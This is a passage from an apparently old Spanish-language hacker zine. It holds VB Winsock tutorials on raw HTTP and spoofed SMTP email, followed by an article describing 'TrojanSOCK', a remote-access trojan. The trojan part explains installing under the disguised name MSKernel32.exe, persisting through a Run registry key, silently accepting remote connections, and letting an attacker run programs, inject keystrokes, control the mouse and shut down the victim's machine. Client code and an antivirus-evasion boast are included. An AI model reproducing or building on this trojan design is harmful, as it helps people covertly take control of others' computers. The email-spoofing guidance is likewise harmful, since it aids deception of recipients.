Com = Com + "User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; _
Windows 98)" + vbCrLf
Com = Com + "Host: 127.0.0.1" + vbCrLf
Com = Com + "Connection: Keep-Alive" + vbCrLf
Com = Com + vbCrLf
Winsock.SendData Com
End Sub
La respuesta del Servidor seria esta:
200 OK (Dice que la peticion se ha completado con exito).
Lo que ocurrira es que recibiremos todo el codigo fuente de la pagina de
www.yahoo.com en la ventana Text2. la diferiencia entre nuestro programa y un
navegador es que el navegador interpreta ese codigo y nuetro programa no, y
el trabajo nuestro es interpretar ese codigo para hacer lo que deseamos.
A manera de ejemplo, para saber si un usuario de icq esta en linea. con
nuestro Pro.exe con la ip 127.0.0.1 y el puerto local: 80 le damos "Escuchar"
Paso siguiente, usando el explorer nos conectamos a http://www.icq.com/ En el
recuadro de buscar usuario ingresamos el email de un amigo por ejemplo:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Antes de presionar el boton buscar, cambiamos la direccion de
http://www.icq.com/ por http://127.0.0.1 y le damos buscar y en nuestro
programa recibiremos algo asi como esto:
----------------------------------------------------------------
POST /scripts/SearchWWP.dll HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Accept-Language: es
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)
Host: 127.0.0.1
Content-Length: 63
Connection: Keep-Alive
Cache-Control: no-cache
first=&last=&email=
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
&handle=&Search=+Go+
(una linea en blanco al final muy importante)
-----------------------------------------------------------------
(esto que hicimos es para saber que se envia con el navegador)
En este caso POST se usa para solicitar al servidor que asocie la direccion
con el cuerpo del mensaje. Ahora si enviamos estas mismas lineas con nuestro
programa a la direccion www.icq.com y recibiremos el codido fuente de la
pagina donde dice si esta o no en linea el tal
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
como
es codigo fuente puro con algunas instrucciones lo procesamos Asi seria la
funcion:
Sub FuncionEnviar()
Dim Com As String
Com = "POST /scripts/SearchWWP.dll HTTP/1.1" + vbCrLf
Com = Com + "Accept: image/gif, */*" + vbCrLf
Com = Com + "Accept-Language: es" + vbCrLf
Com = Com + "Content-Type: application/x-www-form-urlencoded" + vbCrLf
Com = Com + "Accept-Encoding: gzip, deflate" + vbCrLf
Com = Com + "User-Agent: Mozilla/4.0 (compatible; _
MSIE 5.5; Windows 98)" + vbCrLf
Com = Com + "Host: 127.0.0.1" + vbCrLf
Com = Com + "Content-Length: 63" + vbCrLf
Com = Com + "Connection: Keep-Alive" + vbCrLf
Com = Com + "Cache-Control: no-cache" + vbCrLf
Com = Com + vbCrLf
Com = Com + "first=&last=&email=BillGates@Mierdasoft. _
com&handle=&Search=+Go+" + vbCrLf
Winsock.SendData Com
End Sub
Creo que el principio ya esta claro, lo siguiente seria cambiar las partes de
la cadena por variables.
Utilizando el mismo principio podremos hacer un programa para enviar mensajes
al icq, mensajes a telefonos moviles, hacer consultas a buscadores como yahoo
o altavista , etc.
Algo muy interesante es usar el servicio que ofrece www.netcraft.com esta web
nos da mucha informacion acerca del servidor que le pidamos: ip, sistema
operativo, version y otros datos utiles.
Con un programa que se conecte a esta direccion ----> uptime.netcraft.com al
puerto 80 y envie lo siguiente
------------------------------------------------------------------
GET /up/graph?mode_u=off&mode_w=on&site=www.yahoo.com&submit=Examine HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Accept-Language: es
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)
Host: 127.0.0.1
Connection: Keep-Alive
(linea en blanco)
(linea en blanco)
------------------------------------------------------------------
La funcion seria asi:
Sub Winsock_Connect()
Dim Com As String
Dim strWebPage As String
Com = "GET /up/graph?mode_u=off&mode_w=on&site=" _
& Text1.Text & "&submit=Examine HTTP/1.1" + vbCrLf
Com = Com + "Accept: image/gif, image/x-xbitmap, _
image/jpeg, image/pjpeg, */*" + vbCrLf
Com = Com + "Accept-Language: es" + vbCrLf
Com = Com + "Accept-Encoding: gzip, deflate" + vbCrLf
Com = Com + "User-Agent: Mozilla/4.0 (compatible; _
MSIE 5.5; Windows 98)" + vbCrLf
Com = Com + "Host: www.netcraft.com" + vbCrLf
Com = Com + "Connection: Keep-Alive" + vbCrLf
Com = Com + vbCrLf
Winsock.SendData Com
End Sub
Recibiremos la informacion que posea Netcraft acerca de www.yahoo.com, ahora
cambiamos esa direccion por la que queramos. Tendremos que formatear lo que
resivamos y tendremos una basica utilidad de analisis ;)
Junto a este articulo hay un codigo fuente que hace lo que explicado
-net.vbp
Ahora haremos un programa que envie e-mail, podremos modificar los datos que
enviemos y hacernos de un cliente un poco mas anonimo que los programas
comunes de envio de corrreos tipo outlook, Eudora, etc.
Veamos el envio de un mensaje:
- - - - - - - - - - - - - - - - - - - - - -
Servidor->220 servidor.de.correo.com
Cliente-->HELO aaaa
Servidor->250 servidor.de.correo.com
Cliente-->MAIL FROM:<
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
>
Servidor->250 Ok
Cliente-->RCPT TO:<
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
>
Servidor->250 Ok
Cliente-->DATA
Servidor->354 End data with .
Cliente-->Subject: saludos
hola
Cliente-->
.
Servidor->250 Ok: queued as 4tA1t50514
Cliente-->RSET
Servidor->250 Ok
Cliente-->QUIT
Servidor->221 Bye
- - - - - - - - - - - - - - - - - - - - - -
La linea MAIL FROM:<
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
> indica el remitente que daremos. El
destinatario sera asi RCPT TO:<
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
>
[Nex: Hay algunos servers que no aceptan los comandos en mayusculas, ojo con
eso. De la misma forma, hay otros que tampoco aceptan los '<' '>', cuestion
de probar antes ... ]
Lo que sucedera normalmente es que al enviar un mail usando un cliente, el
servidor smtp tomara el Remitente y el mensaje y enviara todo a la direccion
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
. Ahora para que este mensaje sea completamente anonimo, el
servidor que usemos para enviarlo debera ocultar tu IP ,si la oculta o no lo
sabremos enviando el mensaje a nosotros mismos y revisando en la cabecera si
esta nuestra IP.
La utilidad de hacer un cliente es que podamos enviar unas lineas como las
siguentes:
MAIL FROM:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
RCPT TO:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
y el servidor smtp lo permita y no de error alguno,
Entonces tenemos un servidor util, ahora si te topas con alguno que oculte tu
IP, entonces estas OK. Ahora bien ya sabemos lo que sucede al enviar un
mensaje de correo, si lo pasamos a una funcion de Visualbasic quedaria como
el ejemplo en smtp.vbp (smtp.zip)
basicamente eso seria un mensaje semianonimo.
Algunos servidores smtp (no son anonimos):
smtp.mail.yahoo.com
zagnut.hotpop.com
mc7.law5.hotmail.com
IT.itweb.com.mx
mailrecv4.bigmailbox.com
Cualquier duda, comentario, reclamo, correccion, etc, etc escribe a:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Agradezco a :
Loko Guajiro
Patrick Moore
-. Netreus .-
:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:
-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-
..--:: 05. El control Winsock.ocx y creacion de troyanos bajo VB ::--..
by SLAYER
1.- INTRODUCCION
Despues de leer el articulo de SHISEI BRUJO, Programacion en 546.604.465
Pasos y ver la seccion del NetFuck en la que decia:
<< Tampoco funciona en internet ya que no trabaja con puertos, ips,
etc. Eso si funciona en redes locales y en windows nt. Y como no
trabaja con los puertos es muy dificil que lo detecten. Si quieren
uno que funcione en internet, haganlo ustedes ¿ o quieren todo en
bandeja ?. >>
Pues como tiene razon, pues lo he hecho yo. Pero primero veremos como usar el
control Winsock.ocx, en el que se basa el funcionamiento del TrojanSock. El
origen del nombre esta claro, no?
2.- VALE, SI, PERO QUE #!@%& ES EL WINSOCK?
Pues el Winsock es un control ocx incluido por el Visual Basic que permite
establecer conexiones remotas con otros sistemas. ¨Y esto para que sirve?
Pues para lo que quieras. Desde hacer un Winpopup.exe como el de windows (si
no sabes que es ejecutalo, no rompe nada) mandar un simple e-mail hasta para
hacer un troyano :). Funciona con el protocolo TCP/IP o con el UDP. Nosotros
vamos a usar el de toda la vida, el TCP.
3.- BUENO, Y TODO ESTO PARA QUE SIRVE?
Primero tienes que abrir el Visual Basic (evidente, no?) y hacer click
derecho en la barra de controles. A continuacion selecciona la opcion
Componentes. En el cuadro que os saldra teneis que buscar la casilla
Microsoft Winsock Control (la version puede ser distinta) y la activas.
Aceptais y os aparecera en la barra de controles un nuevo boton, el de
nuestro Winsock.ocx. Si le dais doble click si os insertara en el form.
Lo primero que hay que hacer una vez que tenemos nuestro control es ajustarle
las propiedades. La propiedad protocol la ajustamos en 0-sckTCPProtocol (TCP)
Las otras propiedades que hay ajustar pueden hacerse RunTime (en ejecucion).
En localport habra que poner en que puerto escuchara nuestra aplicacion, en
remoteport el puerto al que se mandaran los datos al ordenador remoto y en
remotehost, la direccion IP del ordenador remoto.
Los eventos del control winsock son los siguientes:
Private Sub Winsock1_Close()
Private Sub Winsock1_Connect()
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, _
ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, _
ByVal HelpContext As Long, CancelDisplay As Boolean)
Private Sub Winsock1_SendComplete()
Private Sub Winsock1_SendProgress(ByVal bytesSent As Long, ByVal bytesRemaining As Long)
De momento nosotros solo utilizaremos las que nos permiten hacer la conexion
y recibir y enviar datos:
Private Sub Winsock1_Close()
Private Sub Winsock1_Connect()
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Tambien puede ser util la que nos permite calcular el progreso del envio:
Private Sub Winsock1_SendProgress(ByVal bytesSent As Long, ByVal bytesRemaining As Long)
Tambien usaremos estos metodos
.Accept <---- Acepta una conexion solicitada
.Close <---- Cierra una conexion
.Connect <---- Establece una conexion
.Listen <---- "Escucha" y recibe datos
.GetData <---- Obtiene los datos que llegan
.SendData <---- Envia los datos
Y bueno, ahora que tenemos todas las funciones, metodos y demas, hay que
hacer un programa cliente-servidor que nos permita enviar y recibir datos
desde un ordenador remoto. Vamos a hacer una simple aplicacion que sirva para
mandar mensajes entre dos ordenadores.
4.- PRIMERA APLICACION CLIENTE - SERVIDOR
Necesitamos 2 aplicaciones, una sera el servidor, y otra el cliente. Primero
haremos el servidor. Abrimos el VB e insertamos en nuestro form los
siguientes controles con sus respectivas propiedades:
Label1 -> Caption="Escriba su mensaje:"
Label2 -> Caption="El usuario remoto respondio:"
TextBox1 -> Justo a la derecha de label1. Name="Mensaje"
Label3 -> Justo a la derecha de label2. Name="Respuesta"
Winsock1 -> Name="Servidor"
Perfecto. Ahora tenemos que insertar el siguiente codigo en nuestro form:
{[--------------------------------- CODIGO --------------------------------]}
'Recuerda que todo lo que empieza por comilla simple (') son comentarios
Private Sub Form_Load()
Servidor.LocalPort = 2001 'Como el a~o en que acaba el siglo!
Servidor.Listen 'Aqui ha establecido el puerto local y prepara
'el winsock. para escuchar
End Sub
Private Sub Servidor_ConnectionRequest(ByVal requestID as Long)
Dim Aceptar As Boolean
Dim CodigoRespuesta As Byte
Aceptar = False
'El siguiente codigo pregunta al usuario local si acepta la
'conexion. En caso afirmativo comprueba que no hay ya una
'abierta. Si la hay la cierra. Despues de todo esto, acepta
'la conexion con el metodo .Accept requestID
CodigoRespuesta = MsgBox("¨Acepta la conexion?", vbYesNo)
If CodigoRespuesta = 6 Then Aceptar = True
If Aceptar Then
' Ver Tabla1 para las constantes de la propiedad State
If Servidor.State <> sckClosed then Servidor.Close
Servidor.Accept requestID
End If
End Sub
Private Sub Mensaje_KeyDown(KeyCode As Integer, Shift As Integer)
'Si se pulsa el [ENTER] envia el texto del textbox mediante
'el metodo .SendData Data
If KeyCode=13 then Servidor.SendData Mensaje.text
End Sub
Private Sub Servidor_DataArrival(ByVal bytesTotal as Long)
Dim Datos as String
Servidor.GetData Datos 'Recoge los datos entrantes y los
Respuesta.Caption = Datos 'guarda en Datos. Luego los pasa
'al label de respuesta
End Sub
{[--------------------------------- CODIGO --------------------------------]}
Creo que esta suficientemente comentado para que no quepa ninguna duda.
Aqui va la Tabla1, la de las constantes de la propiedad State:
---------------------------------------------------------------
| Tabla1: Lista de constantes de la propiedad State |
---------------------------------------------------------------
| CONSTANTE | VALOR | DESCRIPCION |
| | | |
| SckClosed | 0 | Cerrado. Valor por defecto |
| SckOpen | 1 | Abierto. |
| SckListening | 2 | Escuchando. |
| SckConnectionPending | 3 | Conexion pendiente. |
| SckResolvingHost | 4 | Resolviendo host. |
| SckHostResolved | 5 | Host resuelto. |
| SckConnecting | 6 | Conectando |
| SckConnected | 7 | Conectado |
| SckClosing | 8 | Cerrando conexion. |
| SckError | 9 | Error. |
|_________________________|_______|_____________________________|
Bueno, ya esta la tabla. Ahora vamos a por la aplicacion cliente. En realidad
es practicamente igual, pero habra que establecer los valores de ordenador
remoto, puerto remoto y puerto local. Crearemos los mismos controles:
textbox, pero con la propiedad Enabled=False y tambien crearemos los mismos
label y el winsock, pero este ultimo tendra el nombre de "Cliente". Ademas
hay que crear un boton con Nombre="Conectar" y Caption="Conectar". El codigo
de la aplicacion cliente es el siguiente:
{[--------------------------------- CODIGO --------------------------------]}
'Recuerda que todo lo que empieza por -'- son comentarios
Private Sub Form_Load()
Cliente.RemotePort = 2001
End Sub
Private Sub Conectar_Click()
Mensaje.Enabled = True
Cliente.RemoteHost = Inputbox("¨A que ordenador se quiere conectar?")
Cliente.Connect
Conectar.Enabled = False
End Sub
Private Sub Mensaje_KeyDown(KeyCode As Integer, Shift As Integer)
If KeyCode=13 then Cliente.SendData Mensaje.text
End Sub
Private Sub Cliente_DataArrival(ByVal bytesTotal as Long)
Dim Datos as String
Cliente.GetData Datos
Respuesta.Caption = Datos
End Sub
{[-------------------------------- CODIGO ---------------------------------]}
Este codigo no esta comentado, pero es practicamente igual que el anterior,
pero ahora explico el funcionamiento del conjunto cliente-servidor:
La aplicacion cliente consta del boton "Conectar". Este preguntara por la
direccion IP del ordenador remoto (que para hacer pruebas podemos usar el
nuestro con direccion IP 127.0.0.1). Los puertos los establece en Form_Load()
Despues de especificar la IP se conecta al servidor.
El servidor pregunta al usuario si acepta la conexion desde el ordenador
remoto y usa la funcion ConnectionRequest(ByVal requestID as Long). Mira si
hay una conexion ya hecha (Servidor.State <> sckClosed) y en este caso la
cierra. Despues establece la conexion. Una vez que esta hecha la conexion los
controles textbox envian el mensaje al otro ordenador mediante la funcion
SendData. El otro ordenador la recibe mediante la funcion DataArrival y
establece el valor en el label de respuesta.
5.- DESPEDIDA
Se acabo. Espero que os sirva de provecho. Si tengo tiempo acabare del todo
el troyano y preparo un articulo para el proximo numero, si no os preparo una
"suite" de correo con mail-bomber incluido :) (siempre y cuando el editor me
de permiso claro [porfa, dejame hacer otro articulo, porfa])
[ Nex: No se, no se, ... venga bah, el siguiente espacio es tuyo :D]
[ Nex: Y como somos tan asquerosamente lentos para publicar los zines, el
articulo para el 'proximo numero' va en este mismo xDDD ]
SLAYER
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
*-***-*-***-*-***-*
534154414E204C41
55474853204153
20594F552045
5445524E41
4C5920524F54
*-***-*-***-*-***-*
:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:
-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-
..--:: 06. TrojanSOCK: el troyano de VB ::--..
by SLAYER
1.- HERE WE ARE
Aqui estamos. Como prometi, el troyano que estabais esperando. Lo he llamado
TrojanSOCK, y al que se meta con mi imaginacion se lo cuelo. Que no, que es
broma :) Bueno el caso es que este es el primer troyano hecho en VB que usa
puertos (al menos que yo sepa). Evidentemente tiene sus limitaciones (que son
muchas, sobre todo por estar en VB, pero es un lenguaje muy sencillo de
aprender). La principal limitacion que tiene son los dll's necesarios. Porque
por algun motivo, con Visual Basic es imposible hacer un programa que de
media no necesita unas 5 dll. Bueno esa es la mayor limitacion del visual
basic, ademas de que al estar hecho con algo de microsoft (bueno, y que yo no
soy un genio de la programacion) probablemente se quede colgado cuando le
metas un buffer (tengo que probar eso), o simplemente cuando el dia y la hora
coincidan. Windows es asi (y yo no soy un genio). Pero no os vayais a creer,
que tambien tiene sus ventajas como pueden ser las siguientes:
1. No lo detectan los antivirus (en realidad no lo he probado, no tengo
antivirus instalado, pero no ha salido a la luz hasta ahora, asi que no han
tenido tiempo de analizarlo)
2. Lo he hecho yo :) Bueno, esa es una ventaja para mi, lo mismo hasta me
hago famoso! En realidad lo dudo mucho pero al menos se aprende un poco con
el
3. Eh... esto... pues ... ahora no me acuerdo, pero seguro que tiene que
haber mas ventajas.
2.- LAS FUNCIONES
Pues he intentado a~adir las funciones mas utiles (o entretenidas). A saber:
Cerrar / Borrar servidor
Abrir / Cerrar el CD
Un gestor de mensajes
Enviar teclas
Controlar el raton
Invertir los botones del raton
Salir de windows
Ir a una URL
Ejecutar un programa
Reproducir un sonido
Mostrar una imagen
Notepad (ein? Lo cualo?) Ver explicacion mas adelante.
Ademas con la capacidad de registrar todas las acciones ejecutadas. Y otra
funcion que no he conseguido implementar es la de capturar la pantalla del
servidor, en parte porque no se como se envian ficheros a traves del
WINSOCK.OCX, lo que es el gran problema que presenta el troyano, que no puede
subir/bajar ficheros. Una verdadera pena porque es de las funciones mas
utiles porque ya me contaran de que me sirve ejecutarle al pardillo el paint
:) Y por si todas estas pegas fueran pocas, no puedo asegurar que la funcion
de mostrar una imagen funcione bien, al final he acabado de los nervios y lo
he dejado asi. Quejas a quien tenga tiempo para solucionarlo.
3.- FUNCIONAMIENTO DEL SERVIDOR
Pues primero accede al registro EAX adjudicandole el valor de 0EF3 mas el
valor actual de la direccion del segmento de codigo GDI.DLL punto de
interrupcion... Ah vale, no tan especifico, verdad? Ok, cuando la victima
ejecuta el fichero pues no pasa nada. Al menos eso es lo que se cree.
Probablemente lo ejecute unas 5 o 6 veces hasta asegurarse de que no se ha
equivocado. Lo mas posible es que a la 7 ya note que pasa algo raro, pero
para aquel entonces nuestro troyanito ya ha hecho de las suyas:
{PASO 1}
Se ha copiado como C:\windows\system\MSKernel32.exe y ha a~adido una clave al
registro en HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
con el nombre y valor MSKernel32 -- C:\windows\system\MSKernel32.exe
Evidentemente esto sirve para que a la proxima se ejecute.
{PASO 2}
Despues de hacer todo eso, ha abierto el puerto 2001 (es que me ha gustado
lo del fin del milenio) y se ha puesto a escuchar como un desesperado y a
esperar a una peticion de conexion.
{PASO 3}
Cuando recibe una peticion para establecer la conexion, pues lo hace, pa' que
se va a complicar la vida. Evidentemente no hara como en nuestro programilla
de chat, que preguntaba al usuario-servidor si aceptaba la conexion, de lo
contrario no seria un troyano. Envia una cadena de bienvenida al cliente y ya
esta listo para aceptar comandos.
{PASO 4}
Cada vez que recibe algun dato lo recibe en una variable (Datos) y lo junta
con otra variable llamada DatosRecibidos. Aum... y pa' que hace eso? Pues es
muy facil. He intentado hacerlo totalmente compatible con Telnet, y al menos
el de windows va enviando lo que escribes caracter por caracter, y el troyano
no entenderia ese caracter como una orden. Asi que, si estamos usando telnet,
no hara falta que nos preocupemos de nada. De todas formas mas adelante
explicare mas profundamente el funcionamiento del codigo.
{PASO 5}
La forma de enviar los comandos es un poco especial. Hace como el
netbus,envia los comandos seguidos de sus parametros, pero un fallo que he
apreciado en el netbus, es que separa los parametros con punto y coma (;).
Esto no seria un fallo si no fuera porque a algunos nos gusta puntuar mas o
menos correctamente lo que escribimos. Asi, si le queremos enviar con el
NetBus un mensaje, o file que incluya el punto y coma, no lo lograremos. Un
ejemplo: Queremos enviar el mensaje siguiente al servidor
_________________________________
|ERROR GRAVE x |
|--------------------------------| Menudos graficos los mios, no
|Windows causo un error de falta | me extra~a que siempre me
|de espacio en la pila; debido a | suspendieran en dibujo . . .
|esto, en un plazo de 15 segundos|
|el sistema se reiniciara |
| ___________ |
| | ACEPTAR | |
| ----------- |
|________________________________|
Pues no podemos. Y por que no? Pues muy facil. Hemos incluido un punto y coma
en el texto: "... en la pila; debido a..." Y ese punto y coma nos lo
estropea porque el servidor entendera que el texto llega hasta "pila" y que
lo siguiente es otro parametro (los botones-icono).
Pues bien, el TrojanSOCK no tiene ese problema, porque utiliza este modo de
enviar los comandos:
NumeroParametrosACCIONçParametro1ÛParametro2ÛParametron...
Ejemplo: 3Enviar mensajeçTEXTOÛTIPOÛTITULO
Los codigos ASCII son: ç (999) Û (987) y (789)
NOTA: El codigo del 987 ^^^ en windows se ve como un subrayado bajo _
Despues analizaremos el codigo utilizado para esto. De todas formas dudo
mucho que la gente vaya a escribir puntos y comas, pero en fin, algun enter,
si que se tecleara, no?
{PASO 6}
Ya hemos recibido una orden. Pues ahora no tiene mas que comprobar que existe
y ejecutarla. Luego envia una cadena vbCrLf (13,10) para que si usamos telnet
no tengamos una lista impresionante de acciones en la misma linea. Suponiendo
que el usuario tenga que responder (un boton, o escribir algo) tambien se
envia la respuesta del usuario.
{PASO 6:A}
Si la orden ha sido la de cerrar el servidor, simplemente cierra el
programa.
{PASO 6:B}
Para desinstalar el servidor ajusta la llave anteriormente dicha, la
ajusta en blanco (""). Ademas ejecuta un 'Kill
"C:\windows\system\MSKernel32.exe' pero claro, como esta en
ejecucion, no lo deja. Por eso he a~adido un 'On error Resume Next',
en vez de quitar la linea por si acaso en alguna de estas resulta
(lo dudo mucho) Pero ojo, el programa sigue ejecutandose, si quieres
cerrarlo tendras que ejecutar la orden de Cerrar Servidor despues.
{PASO 7}
Pues si no me equivoco, ya estan todos los pasos, asi que vamos con el cliente
4.- FUNCIONAMIENTO DEL CLIENTE
{PASO 1}
Se abre. Bien, te aparece un formulario MDI (en realidad lo he quitado en la
ultima version y es una ventanita normal y corriente, asi que no hagais caso
de lo que acabo de poner) muuuuuuuuy parecido al del NetBus. No hay mas que
seleccionar el host remoto y el puerto, que a menos que lo hayas modificado
en el servidor, sera el 2001. Y bueno, nada mas, si esta activada la casilla
de registrar acciones, se guarda en un fichero llamado
c:\windows\temp\cliente.log Vereis que en la parte de abajo hay un cuadrito
de texto, ahi sera donde vamos a ver las respuestas que nos envie el
servidor. Y no hay mas que contar de esto
{PASO 2}
Cada vez que haces click en uno de los botones, cada cual de ellos es una
orden se ajustan varios parametros. 1- La Accion, que generalmente llevara el
caption del boton que la ha originado. 2- Los Parametros: pues eso, los
parametros los ajusta en la variable Parametro() y su index respectivo. 3- Lo
junta todo en un Paquete que va a ser el que envie.
{PASO 3}
Cada vez que recibe algun dato nos lo presenta en el cuadrito de texto, ya lo
he explicado antes.
{PASO 4}
Creo que nada mas.
5.- FUNCIONAMIENTO ESPECIFICO (Analisis del codigo) DEL SERVIDOR
{PASO 1}
Para poder copiar el fichero usamos la API de Windows GetCommandLine que en
futuras versiones tambien nos servira para pasarle parametros al ejectuarlo.
Bueno, el caso es que lo usamos, pues para eso para ObtenerLineadeComandos. Y
porque no hago directamente app.fullname? Muy simple App.Fullname tiene el
nombre interno del exe, el nombre con el que *YO* he compilado el programa.
Pero si tu lo renombras(lo mas natural para camuflarlo) ese ya no sera el
nombre del exe. Asi que obtengo la lina de comandos y cojo el nombre. El
problema de esta funcion es que me lo devuelve entre comillas, que hay que
eliminar. Aqui me da un fallo muy extra~o. Si le pongo lo siguiente:
nombre=mid$(LineaDeComandos,2,len(LineaDeComandos)-1)
no me quita las ultimas comillas, y he tenido que reemplazar ese -1 por un
-4. No me pregunteis porque al ponerle un Trim(LineaDeComandos) no me quita
los espacios, no lo se :(
El codigo que uso para crear la llave en el registro es muy curiosa. No por
nada en especial, si no porque intente hacerlo con su API
correspondiente,pero estaba harto de tanta API, asi que busque, busque,
busque, y ENCONTRE! Agarre mi fichero love-letter-for-you.txt.vbs y le "robe"
a spyder el codigo que uso el en el virus ILOVEYOU (thanks, spyder).
Probablemente esto ralentice la ejecucion, pero yo no he notado que tarde
demasiado asi que creo que va bien asi.
{PASO 2}
Servidor.LocalPort = 2001
Servidor.Listen
No tiene mas misterio
{PASO 3}
Private Sub Servidor_ConnectionRequest(ByVal requestID As Long)
bla, bla, bla... Si no esta cerrado, lo cierra, acepta la peticion y
tras esperar 2 segundos, envia la cadena de texto (por si usas
telnet):
Servidor.SendData "TojanSOCK v1.0. by SLAYER
Teclee HELP para obtener ayuda de como introducir los comandos"
(En una linea, claro)
End Sub
{PASO 4}
Private Sub Servidor_DataArrival(ByVal bytesTotal As Long)
Coge los datos y los guarda en la variable DATOS A la variable
DatosRecibidos le agrega al final los DATOS nuevos. Analiza si el
primer caracter es el de fin de paquete (). En este caso elimina ese
caracter.
Si el ultimo caracter es el de fin de paquete (),
Analiza(DatosRecibidos) y estos, los ajusta en blanco ("")
Tambien analiza si los DatosRecibidos="HELP" y ejecuta el Sub Ayuda()
Este codigo envia datos de ayuda acerca de como enviar los comandos y
cuales estan soportados. Evidentemente, esto solo es util (mucho)
cuando usas telnet como cliente, asi no hace falta que memorices
todos los comandos y codigos. Solo "HELP". Despues, borra el
contenido de los DatosRecibidos. Tambien borramos la variable Datos
(pa' por si acaso, no me fio) End Sub
{PASO 5}
Sub Analiza(Paquete As String)
Bien, aqui tomamos la longitud del paquete que luego usaremos.
Usando varias veces la funcion split conseguimos fragmentar el paquete
y convertirlo a lo que era antes para poder ejecutarlo
Llamamos a la rutina que ejecuta las acciones:
Hazlo()
End Sub
{PASO 6}
Esto lo hace simplemente con un Select Case comprobando si corresponde Accion
realmente a alguna orden. La ejecuta y envia un vbCrLf. Un codigo muy simple
{PASO 6:A}
Pues eso, cierra el programa. Un End, mas facil no puede ser, aunque
le indicamos primero que es un "CierreControlado", porque de lo
contrario se nos ejecutaria otra vez. Esto es por si a alguien se le
ocurre hacer un ctrl-alt-supr se canse de que al intentar cerrar el
servidor se encuentre con que no tiene un servidor abierto si no dos
{PASO 6:B}
Para desinstalar el servidor simplemente ajusta la clave del
registro anteriormente dicha a un valor en blanco ("").
Ademas "intenta" y digo "intenta" ejecutar un 'Kill
c:\windows\system\MSKernel32.exe' pero digo que intenta porque el
programa esta en ejecucion y no le dejen pero por probar, que no
quede. Por eso ponemos al principio un 'On Error Resume Next' para
que si da fallo que pase olimpicamente de el.
Me acabo de dar cuenta de que esto ya lo he dicho. En fin, esto es
el Alzheimer...
{PASO 7}
Pero a ver, no habiamos quedado en que no habia 7o paso? Si es quee...
6.- FUNCIONAMIENTO ESPECIFICO (Analisis del codigo) DEL CLIENTE
{PASO 1}
Aqui no hay ningun codigo especial, lo unico es que si esta activada la
casilla de registrar acciones, se guarda en un fichero llamado
c:\windows\temp\cliente.log con una serie de Print #1, bla bla bla
{PASO 2}
Ok, este es el codigo mas importante del cliente, pero tambien es muy pero
que muy sencillo. De todas formas lo voy a hipercomentar :)
Sub Enviar_Orden()
On Error Resume Next
'Ajusta el comienzo de parametros a ç
ListaParametros = "ç"
'A la variable le va ajustando los valores de 1 hasta el numero de Parametros
'que hay adjudicados
For i = 1 To Parametros - 1
'A ListaParametros le a~ade el nuevo Parametro(i) y el caracter de
'SiguienteParametro (Û), guardado como constante global al principio
ListaParametros = ListaParametros + Parametro(i) + SiguienteParametro
Next i
'A~ade el ultimo Parametro. Y ahora que lo pienso no se porque no lo he
'puesto en el bucle de arriba. . . Ah si! Es que el ultimo parametro no
'ha de llevar el caracter deSiguienteParametro
ListaParametros = ListaParametros + Parametro(i)
'Convierte Paquete en lo que debe ser, una cadena que incluya los siguientes
'campos: NumeroParametros + Accion + ListaParametro + FinParametros
'Un ej. 2Dialogarç¨Como te llaamas?ÛNOMBRE
Paquete = Trim(Str(Parametros)) + Accion + ListaParametros + FinParametros
'Y lo envia.
Cliente.Cliente.SendData Paquete
'Ahora hacemos un
DoEvents 'Con esto conseguimos que el sistema tome el control y envie
'inmediatamente el paquete De lo contrario lo haria al terminar la rutina
'Si estamos registrando las acciones en un log
If LOG = True Then
'Le mete una cadena de Astericos (*************************)
Print #1, Asteriscos
'La accion que se ha ejecutado con la hora puesta
Print #1, "Accion ejecutada: " + Accion + " a las " + Time$
'El numero de parametros
Print #1, " Parametros: " + Trim(Str(Parametros))
'Y todos esos parametros
For i = 1 To Parametros
Print #1, " " + Parametro(i)
Next i
End If
'Una vez que lo hemos usado todo, los Parametros son ninguno (0)
Parametros = 0
For i = 0 To 9
'Y los borra de uno en uno COMPLETAMENTE, lo pone en Null (nulo)
Parametro(i) = Null 'Puede que no hiciera falta, pero no me fio
'demasiado de mi buen hacer
Next i
End Sub
{PASO 3}
Pues muy facil,
Private Sub Cliente_DataArrival(ByVal bytesTotal As Long)
Dim Datos As String
'Coge los Datos
Cliente.GetData Datos
'Y los pone en el cuadrito de Telnet
